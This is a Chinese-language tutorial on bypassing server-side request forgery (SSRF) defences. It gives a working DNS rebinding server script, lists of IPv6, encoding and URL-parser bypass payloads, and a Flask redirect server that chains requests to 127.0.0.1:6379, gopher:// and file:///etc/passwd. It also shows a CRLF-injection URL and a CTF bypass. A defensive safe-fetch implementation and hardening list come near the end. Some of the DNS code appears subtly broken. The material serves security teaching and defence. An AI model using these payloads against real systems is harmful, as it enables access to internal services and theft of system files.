一、为什么需要绕过
典型的 SSRF 防护:
# 朴素 SSRF 防护
def safe_fetch(url):
parsed = urlparse(url)
# 1. 协议白名单
if parsed.scheme not in ('http', 'https'):
raise Forbidden('bad scheme')
# 2. IP 黑名单
ip = socket.gethostbyname(parsed.hostname)
if ip.startswith(('127.', '10.', '192.168.', '169.254.')):
raise Forbidden('private ip')
return requests.get(url)
这种防护几乎能被绕过。原因有三:
- "解析-检查-请求"三步不是原子的 —— DNS Rebinding
- "检查方"和"请求方"可能是两套不同的 HTTP 解析器 —— URL 解析差异
- URL 可以用多种编码表达同一地址 —— 各种花式编码
二、DNS Rebinding 绕过
2.1 原理
Step 1: 攻击者的域名 evil.com 第一次解析到 1.2.3.4(攻击者自己的服务器) Step 2: 服务器请求 evil.com,解析结果是 1.2.3.4,IP 检查通过(不是内网) Step 3: 同时攻击者把 evil.com 的 DNS TTL 改成 0,解析改回 127.0.0.1 Step 4: 服务器再次解析 evil.com → 127.0.0.1 → 攻击目标
核心矛盾:DNS 解析结果在检查阶段和实际请求阶段不一致。
2.2 实现:Python 自定义 DNS
# dns_rebinding_server.py - 简易 DNS Rebinding 服务
import socket
import struct
import random
from http.server import BaseHTTPRequestHandler, HTTPServer
# 攻击者控制的 IP:第一次返回这个,第二次返回目标 IP
OUTSIDE_IP = '203.0.113.100' # 第一次返回(公网)
INNER_IP = '127.0.0.1' # 第二次返回(内网)
# 切换计数器:第一次请求走外面,第二次走里面
flip_counter = {'evil.com': 0}
class DNSHandler(socket.socket):
def __init__(self):
super().__init__(socket.AF_INET, socket.SOCK_DGRAM)
self.bind(('0.0.0.0', 53))
def handle(self, data, addr):
# 解析 DNS Query
tid = data[:2]
qtype = data[12:14]
qname = data[12:]
# 提取域名
labels = []
i = 0
while True:
n = qname[i]
if n == 0: break
labels.append(qname[i+1:i+1+n].decode())
i += n + 1
domain = '.'.join(labels)
# 决定返回哪个 IP
flip_counter[domain] = flip_counter.get(domain, 0) + 1
answer_ip = OUTSIDE_IP if flip_counter[domain] % 2 else INNER_IP
print(f"[DNS] {domain} -> {answer_ip} (counter={flip_counter[domain]})")
# 构造 DNS Response
answer = socket.inet_aton(answer_ip)
response = (
tid +
struct.pack('>HHHH', 0x8180, 1, 1, 0) + # flags, qdcount, ancount
qname + b'' + qtype + b'' + # question
qname + b'' + qtype + b'' + # answer
struct.pack('>I', 1) + # TTL 1秒
struct.pack('>H', 4) + # RDLENGTH
answer
)
self.sendto(response, addr)
if __name__ == '__main__':
dns = DNSHandler()
print("[*] DNS server listening on 0.0.0.0:53")
while True:
data, addr = dns.recvfrom(512)
try:
dns.handle(data, addr)
except Exception as e:
print(f"error: {e}")
2.3 实战绕过流程
``
攻击者域名:evil.com(NS 指向自己的 DNS 服务器)
[1] 第一次请求:检查阶段
服务器解析 evil.com -> 203.0.113.100 -> IP 白名单通过
[2] 服务器向 evil.com 发起 HTTP 请求(同时)
DNS 已切换 → evil.com 现在解析到 127.0.0.1
[3] 攻击者服务器不响应(或等服务器超时重试)
服务器重试 evil.com → 127.0.0.1
[4] 成功访问内网
``
2.4 绕过 DNS Rebinding 的正确姿势
import socket
def safe_fetch_norebind(url):
parsed = urlparse(url)
host = parsed.hostname
# 关键:同一个 socket 对象做 DNS 缓存,
# 或者解析一次后直接用 IP 发起请求
ips = socket.getaddrinfo(host, None)
checked_ip = ips[0][4][0]
if is_private_ip(checked_ip):
raise Forbidden('blocked')
# 重新构造请求:强制用解析到的 IP,绕过 DNS Rebinding
# 用 Host 头保持原域名(某些站点需要)
new_url = parsed._replace(netloc=f"[{checked_ip}]" if ':' in checked_ip else checked_ip).geturl()
headers = {'Host': host}
return requests.get(new_url, headers=headers, allow_redirects=False)
关键点:解析到 IP 之后,直接用 IP 发请求,不再用原域名,彻底封死 DNS Rebinding。
三、IPv6 绕过
3.1 原理
很多 SSRF 防护只检查 IPv4 内网段(10/8、172.16/12、192.168/16),但不检查 IPv6。而现代服务器基本都开启了 IPv6 环回 ::1 和链路本地地址 fe80::。
3.2 IPv6 内网段
| 地址段 | 用途 | 常见绕过 |
|---|---|---|
| ::1 | IPv6 环回 | [::1]/admin |
| fc00::/7 | 唯一本地地址(ULA) | 类似 10/8 |
| fe80::/10 | 链路本地 | 类似 169.254 |
| 0000::/8 | IPv4 映射 | [::ffff:127.0.0.1] |
3.3 绕过示例
# 防护只检查 IPv4
def blocked_by_ipv4_only_check(ip):
for net in ['10.', '172.16.', '192.168.', '127.', '169.254.']:
if ip.startswith(net):
return True
return False
# 攻击:用 IPv6 环回
bypasses = [
'http://[::1]/admin',
'http://[0:0:0:0:0:0:0:1]/admin',
'http://[0000::1]/admin',
'http://[::ffff:127.0.0.1]/admin', # IPv4 映射
'http://[::ffff:0x7f000001]/admin', # 0x 写法
'http://[fe80::1]/admin', # 链路本地
]
3.4 用 Python 验证 IPv6 绕过
import ipaddress
def is_private(ip_str):
try:
ip = ipaddress.ip_address(ip_str)
except ValueError:
return True
private_nets = [
# IPv4
'0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10',
'127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12',
'192.0.0.0/24', '192.168.0.0/16', '198.18.0.0/15',
'203.0.113.0/24', '224.0.0.0/4', '240.0.0.0/4',
# IPv6
'::1/128',
'fc00::/7',
'fe80::/10',
'::ffff:0:0/96', # IPv4 mapped
'::/128',
]
return any(ip in ipaddress.ip_network(n) for n in private_nets)
# 测试
for test_ip in ['127.0.0.1', '::1', '10.0.0.1', 'fc00::1', '8.8.8.8', '::ffff:127.0.0.1']:
print(f"{test_ip:20s} -> private={is_private(test_ip)}")
四、URL 解析差异
4.1 为什么会有差异
检查方和请求方用的不是同一个 URL 解析器:
| 检查方 | 请求方 | 差异 |
|---|---|---|
| Python urllib | cURL | # fragment 处理 |
| Node.js URL | 浏览器 URL | @ userinfo 解析 |
| 过滤 WAF(正则) | PHP curl | 反斜杠、分号 |
| Golang net/url | Java URL | 编码处理 |
4.2 经典差异一览
``
URL: http://127.0.0.1 &@evil.com#@inner.com/
Python urllib: host = 127.0.0.1
cURL/Chrome: host = evil.com (把 @ 之前的内容当作 userinfo)
→ WAF 检查放行,实际请求打到 evil.com(DNS Rebinding 目标可以放这里)
``
4.3 常见 Payload 清单
# url_diff_payloads.py
# 检查方 Python urllib,请求方 curl/PHP
PAYLOADS = [
# 1. @ userinfo 绕过
"http://127.0.0.1 &@evil.com",
"http://127.0.0.1 @evil.com",
"http://127.0.0.1#@evil.com",
"http://127.0.0.1@@evil.com",
# 2. URL 编码绕过(WAF 不二次解码)
"http://%31%32%37%2e%30%2e%30%2e%31/",
"http://0x7f000001/", # hex
"http://2130706433/", # decimal
"http://0177.0.0.1/", # octal
# 3. 反斜杠(某些库把 当作 /)
"http://127.0.0.1\@evil.com",
# 4. 混合编码
"http://127.0.0.1%2540evil.com", # %2540 -> %40 -> @
]
4.4 Node.js vs Python 差异实测
# Python 侧:简单正则检查 host
import re, urllib.parse
def python_check(url):
parsed = urllib.parse.urlparse(url)
print(f" Python urllib: netloc={parsed.netloc}, hostname={parsed.hostname}")
if re.match(r'^(127.|10.|192.168.)', parsed.hostname or ''):
print(f" -> Python check BLOCKED")
return False
print(f" -> Python check PASSED")
return True
# Node.js 侧请求:真实 host 是 @ 后面的
# node_url.js:
# const u = new URL("http://127.0.0.1 &@evil.com");
# console.log(u.hostname); // evil.com
test_url = "http://127.0.0.1 &@evil.com"
python_check(test_url)
# Node.js 实际请求的 host 是 evil.com!
4.5 分号绕过(PHP/Apache)
``
http://internal-host:8080/plain;text=http://127.0.0.1:6379/PING
Apache/PHP 认为 path 到分号为止,后面是 path-info
但某些代理/Nginx 按 ? 或 / 分割
``
五、编码混淆
5.1 IP 四种表示
# ip_formats.py
import ipaddress
import socket
def ip_to_formats(ip_str):
ip = ipaddress.ip_address(ip_str)
ipv4_int = int(ip)
return {
'dotted_decimal': str(ip), # 127.0.0.1
'hex': '0x' + format(ipv4_int, '08x'), # 0x7f000001
'decimal': str(ipv4_int), # 2130706433
'octal': '.'.join(oct(int(p))[2:] for p in str(ip).split('.')), # 0177.0.0.1
'ipv6_mapped': '::ffff:' + str(ip), # ::ffff:127.0.0.1
}
for k, v in ip_to_formats('127.0.0.1').items():
print(f" {k:20s} -> http://{v}/")
# 反向解析
print(f" reverse resolve 0x7f000001 -> {socket.gethostbyname('0x7f000001')}")
print(f" reverse resolve 2130706433 -> {socket.gethostbyname('2130706433')}")
5.2 DNS 重绑定 + 短链
# 通过短链服务把 Rebinding 域名藏起来
# 攻击者流程:
# 1. 在自己的 Rebinding 服务器上注册 evil.com
# 2. 用 bit.ly / 自己的短链服务生成短链
# 3. 把短链丢给 SSRF
# 4. 服务器先访问短链 -> 302 到 evil.com
# 5. Rebinding 切换成功 -> 短链背后实际请求内网
# 自己搭建简易 Rebinding + 短链
from flask import Flask, redirect, request
app = Flask(__name__)
@app.route('/s/<sid>')
def short(sid):
# 短链 -> 302 到 Rebinding 域名
return redirect("http://evil.com/", code=302)
@app.route('/')
def home():
# 对 evil.com 的解析由攻击者的 DNS 控制
return "OK"
六、HTTP 302 重定向链
6.1 原理
很多 SSRF 防护只检查用户最初传入的 URL,不检查 302 之后的跳转目标。这就可以通过链跳转到内网。
6.2 攻击者中转服务器
# redirect_server.py
from flask import Flask, redirect, request, Response
app = Flask(__name__)
@app.route('/')
def index():
return "redirect server"
@app.route('/step1')
def step1():
# 第一次 302 -> 目标(看起来是外网)
return redirect("http://attacker.com/step2", code=302)
@app.route('/step2')
def step2():
# 第二次 302 -> 内网
return redirect("http://127.0.0.1:6379/", code=302)
@app.route('/gopher')
def to_gopher():
# HTTP -> gopher
return redirect("gopher://127.0.0.1:6379/_PING", code=302)
@app.route('/file')
def to_file():
# HTTP -> file
return redirect("file:///etc/passwd", code=302)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
6.3 防护绕过能力矩阵
| SSRF 实现 | 跟随重定向 | 能跳转到内网 | 能跳转到 file:// |
|---|---|---|---|
| requests (Python) | 默认是 | ✗ | ✗ |
| curl -L | 是 | ✓ | 新版拒绝 |
| Java HttpURLConnection | 默认是 | ✓ | ✓ |
| Go net/http | 默认是 | ✓ | ✗ |
| PHP curl | 默认是 | ✓ | ✓ |
| Node.js http | 默认是 | 视实现 | 视实现 |
6.4 CRLF 注入伪造 302
某些场景 WAF 对 URL 做了严格过滤,但允许 URL 中包含 CRLF。可以直接在 URL 里手动注入 302 响应:
http://evil.com/%0d%0aLocation:%20http://127.0.0.1/%0d%0a%0d%0a
如果目标服务器没有严格处理这个 CRLF,就会直接把 Location: 127.0.0.1 当作响应头返回,然后客户端跟随跳转。
七、缩略图/图片代理的天然绕过
很多网站用外部服务做图片转存:
``
攻击者上传 -> 缩略图服务 -> 下载图片 -> 上传到自己服务器
问题:缩略图服务是"攻击者的外跳板"
-> 攻击者控制的图片
-> 图片里可以是 SVG(可执行)
-> 或者是 SSRF payload 触发 Rebinding
``
7.1 SVG SSRF
``xml
``八、IPv6 + 编码组合拳
8.1 多维度混淆
# combined_bypass.py - 组合绕过
def double_encoded(ip_v4):
"""双重 URL 编码"""
import urllib.parse
encoded = urllib.parse.quote(ip_v4, safe='')
return urllib.parse.quote(encoded, safe='')
def ipv4_mapped_ipv6(ip_v4):
"""IPv6 映射"""
return f"::ffff:{ip_v4}"
def mixed_octal(ip_v4):
"""混合八进制"""
parts = ip_v4.split('.')
return '.'.join(oct(int(p)) for p in parts)
# 构造一条"绕死 WAF"的 URL
targets = [
"http://[::ffff:127.0.0.1]:6379/",
"http://0177.0.0.1/admin",
"http://0x7f000001/admin",
"http://2130706433/admin",
f"http://{ipv4_mapped_ipv6('127.0.0.1')}/admin",
]
for t in targets:
print(f" try: {t}")
8.2 CTF 经典绕过
``
某靶场:只允许域名内包含 "hack"
解法:URL 解析差异让 WAF 看见 hack,实际打到内网
http://hack.com@evil.com@127.0.0.1/
WAF 看见 hack.com → 通过
实际请求 host = 127.0.0.1
``
九、防御最佳实践
9.1 安全的 SSRF 实现
# safe_ssrf.py - 真正安全的 SSRF(如果一定要做的话)
import socket
import ipaddress
import requests
from urllib.parse import urlparse
BLOCKED_NETWORKS = [
'0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10',
'127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12',
'192.0.0.0/24', '192.168.0.0/16', '198.18.0.0/15',
'203.0.113.0/24', '224.0.0.0/4', '240.0.0.0/4',
'::1/128', 'fc00::/7', 'fe80::/10',
'::ffff:0:0/96',
]
def _blocked(ip):
return any(ipaddress.ip_address(ip) in ipaddress.ip_network(n) for n in BLOCKED_NETWORKS)
def safe_fetch(url, timeout=5):
parsed = urlparse(url)
# 协议白名单
if parsed.scheme not in ('http', 'https'):
raise ValueError(f"blocked scheme: {parsed.scheme}")
host = parsed.hostname
if not host:
raise ValueError("missing host")
# 解析所有 IP(包括 IPv6),全部检查一遍
# 关键:用同一个 DNS socket,防止 Rebinding
infos = socket.getaddrinfo(host, parsed.port or (443 if parsed.scheme == 'https' else 80))
for info in infos:
ip = info[4][0]
if _blocked(ip):
raise ValueError(f"blocked ip: {ip}")
# 关键:**直接用解析到的 IP 发请求**,不再用原域名
# 这样 DNS Rebinding 失效(我们已经拿到 IP 了)
# 同时用 Host 头保持原始域名(某些服务需要)
checked_ip = infos[0][4][0]
new_netloc = f"[{checked_ip}]" if ':' in checked_ip else checked_ip
safe_url = parsed._replace(netloc=new_netloc).geturl()
headers = {'Host': host}
resp = requests.get(
safe_url,
headers=headers,
timeout=timeout,
allow_redirects=False,
proxies={'http': None, 'https': None}, # 不走代理(防内部代理泄露)
)
return resp
9.2 额外加固
- 禁用跟随重定向(allow_redirects=False)
- 禁用内部代理(requests 默认会走 HTTP_PROXY 环境变量)
- 限制响应体大小(max_content_length)
- 限制连接超时(防止 SSRF 做端口扫描计时)
- 所有请求走专用代理出口(审计 + 过滤)
- CDN/反代层记录所有外发请求 URL
十、小结:SSRF 绕过速查表
| 绕过类型 | 核心方法 | 适用场景 |
|---|---|---|
| DNS Rebinding | evil.com 两次解析到不同 IP | 任意 SSRF,防护只看 host 名 |
| IPv6 绕过 | [::1] / [::ffff:127.0.0.1] |
防护只检查 IPv4 |
| URL 解析差异 | http://127.0.0.1 &@evil.com |
检查方与请求方解析器不一致 |
| 编码混淆 | hex/decimal/octal/双重 URL 编码 | WAF 正则过滤 IP |
| 302 重定向链 | 攻击者服务器做跳转中转 | 防护只检查原始 URL |
| CRLF 注入 | URL 中注入 %0d%0aLocation:... |
防护不严的代理 |
| 短链中转 | 用 bit.ly 隐藏 Rebinding 域名 | WAF 检查域名关键字 |
| 缩略图代理 | 通过图片转存服务做跳板 | 有图片上传 + SSRF 联动 |
| 反向代理 | 目标是内网 HTTP 服务,让它再请求 SSRF 源 | 两次 SSRF 组合 |
| 分号绕过 | http://target:port/path;args |
Nginx/Apache 路径解析差异 |